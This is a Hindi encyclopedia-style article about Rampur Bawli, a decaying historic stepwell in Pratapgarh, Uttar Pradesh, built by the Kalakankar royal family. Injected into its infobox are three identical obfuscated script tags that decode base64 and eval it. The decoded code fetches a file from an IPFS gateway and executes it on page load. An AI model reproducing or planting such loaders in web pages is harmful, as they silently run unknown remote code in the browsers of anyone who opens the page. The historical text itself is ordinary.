रामपुर बावली

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
रामपुर बावली
रामपुर की बावली
राज्य उत्तर प्रदेश
ज़िला प्रतापगढ़
मार्ग स्थिति लालगंज तहसील मुख्यालय से 11कि.मी. की दूरी पर स्थित है।
भाषा हिंदी, अंग्रेजी
अद्यतन‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

रामपुर बावली उत्तर प्रदेश के प्रतापगढ़ ज़िला में स्थित एक पुरातन एवं ऐतिहासिक स्थान है।

  • बावली के कारण ही गांव का नाम भी रामपुरबावली पड़ा। पुराने समय से अपनी ऐतिहासिकता के लिए प्रसिद्ध बावली की न तो अब किसी को ज़रूरत है और न ही किसी को इसकी तरफ ध्यान देने की आवश्यकता महसूस होती है।
  • क्षेत्र की धरोहर के अस्तित्व पर संकट के बादल इस कदर छाए कि वर्तमान में यह बावली अपने जीर्णोद्धार की प्यासी नजर आती है।
  • लालगंज तहसील मुख्यालय से 11 किलोमीटर दूर पचास दशक पूर्व कालाकांकर राज घराने के पूर्वजों द्वारा बावली का निर्माण कराया गया था।
  • बावली में बने गहरे कुएं के चारो तरफ बावन कमरे हैं। लाखौरी ईटों द्वारा निर्मित यह कमरे जीर्णशीर्ण होकर खण्डहर का रूप ले चुके हैं। बावली के बगल ही चार किलोमीटर में सागर फैला हुआ है। बताते हैं कि गर्मी के दिनों में कालाकांकर रियासत के राजा हनुमत सिंह यहां आराम करने आते थे।
  • बावली स्थित कुएं की विशेषता है कि इसका पानी कभी समाप्त नहीं होता। बताते हैं कि इसकी पुष्टि के लिए कई बार पानी निकालने का प्रयास किया गया, लेकिन सफल नहीं हुए। बावली के समीप ही ज्येष्ठ शुक्ल पक्ष की चतुर्थी को मइयन देवी का मेला लगता है।
  • एक समय ऐसा भी था कि प्रदेश के रायबरेली, लखनऊ, कानपुर, उन्नाव सहित कई जनपदों के श्रद्धालु यहां मन्नतें मांगने आते थे। मन्नतें पूरी होने पर लोग यहां निशान लगाने के साथ ही कुएं में आभूषण आदि डालते थे। रखरखाव के अभाव में कालाकांकर रियासत की यह महत्त्वपूर्ण धरोहर समाप्त होने की कगार पर है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  • ऐतिहासिक स्थानावली | विजयेन्द्र कुमार माथुर | वैज्ञानिक तथा तकनीकी शब्दावली आयोग | मानव संसाधन विकास मंत्रालय, भारत सरकार

बाहरी कड़ियाँ

संबंधित लेख